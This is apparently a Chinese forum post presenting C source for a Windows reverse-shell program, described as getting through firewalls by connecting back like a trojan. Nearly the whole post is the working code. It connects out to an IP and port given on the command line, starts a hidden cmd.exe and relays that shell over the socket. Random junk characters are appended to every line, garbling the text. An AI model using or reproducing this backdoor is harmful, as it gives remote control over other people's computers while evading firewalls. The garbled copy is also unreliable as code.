这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =;y(b~
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/* ============================== fkJE lO-F
Rebound port in Windows NT TtP2>eh-
By wind,2006/7 E*{_=pX
===============================*/ )1o<}7
#include >IE`, fe
#include J|:Zs1.<d
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#pragma comment(lib,"wsock32.lib") ^6FU]
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void OutputShell(); F]6$4o[
SOCKET sClient; #qg(DgH
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b]@@x;v$@
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void main(int argc,char **argv) >0.a#-u^
{ ?$ 0t @E
WSADATA stWsaData; CC.ri3+.
int nRet; j2Uu8.8d
SOCKADDR_IN stSaiClient,stSaiServer; AIw< 5lW
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if(argc != 3) d^ZrI\AJ
{ w}r~Wk^dLI
printf("Useage:\n\rRebound DestIP DestPort\n"); K#4Toc#=V
return; {x<yDDIv_
} Z$:iq
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WSAStartup(MAKEWORD(2,2),&stWsaData); x0$# 8
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W^N|+$g>H
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stSaiClient.sin_family = AF_INET; o6A1;e
stSaiClient.sin_port = htons(0); -9~WtTaV.H
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &20}64eW%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &M*f4PeXb
{ ^Bu55q
printf("Bind Socket Failed!\n"); y sFp`
return; [WW ~SOJe
} .ly K
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stSaiServer.sin_family = AF_INET; GLr7sack
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (V9 ;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vw[i.af
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j/uu&\e
{ Qs7*_=+h
printf("Connect Error!"); x5%x""VEK
return; i4H,Ggb
} ,@0D_&JAl
OutputShell(); ^@OdY&5^
} J `
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void OutputShell() [ %6(1$Ih
{ D2MWrX
char szBuff[1024]; nV3I6
SECURITY_ATTRIBUTES stSecurityAttributes; a+PVi
OSVERSIONINFO stOsversionInfo; K | '`w.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; W+u-M>Cj6
STARTUPINFO stStartupInfo; Y[Eq;a132
char *szShell; IHcR/\mz
PROCESS_INFORMATION stProcessInformation; Ucd~-D
unsigned long lBytesRead; Qkb=KS%z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }b=Cv?Zg$m
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *m*sg64Zw
stSecurityAttributes.lpSecurityDescriptor = 0; +wxDK A_
stSecurityAttributes.bInheritHandle = TRUE; u?I 2|}#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @23~)uiZa
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L=wpZ`@
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8ib%CYR
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MkX=34oc^
stStartupInfo.wShowWindow = SW_HIDE; }0~X)Vgm(
stStartupInfo.hStdInput = hReadPipe; 2VaKt4+`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qA5 Ug
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GetVersionEx(&stOsversionInfo); Er@OmNT
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switch(stOsversionInfo.dwPlatformId) Aqo90(jffx
{ r>cN,C
case 1: &l?AC%a5
szShell = "command.com"; ?,^Aoy
break; 1"UHe*2
default: 9A ?)n<3d
szShell = "cmd.exe"; AH?4F"
break; +l<l3uBNS
} BV=~!tsl
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d;.H9Ne
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send(sClient,szMsg,77,0); cUC!'+L
while(1) aM YtWj
{ /_</m?&.U&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I'0{Q`}
if(lBytesRead) l;i/$Yu7
{ -mw`f)?Ev
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M.\V/OX
send(sClient,szBuff,lBytesRead,0); `T3B
} k8 z1AP
else 7>
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{ Z7p!YTA
lBytesRead=recv(sClient,szBuff,1024,0); VG|FjD
if(lBytesRead<=0) break; _
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8p_6RvG
} p v]" 2'aQ
} CD[}|N
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return; ?OS0.
}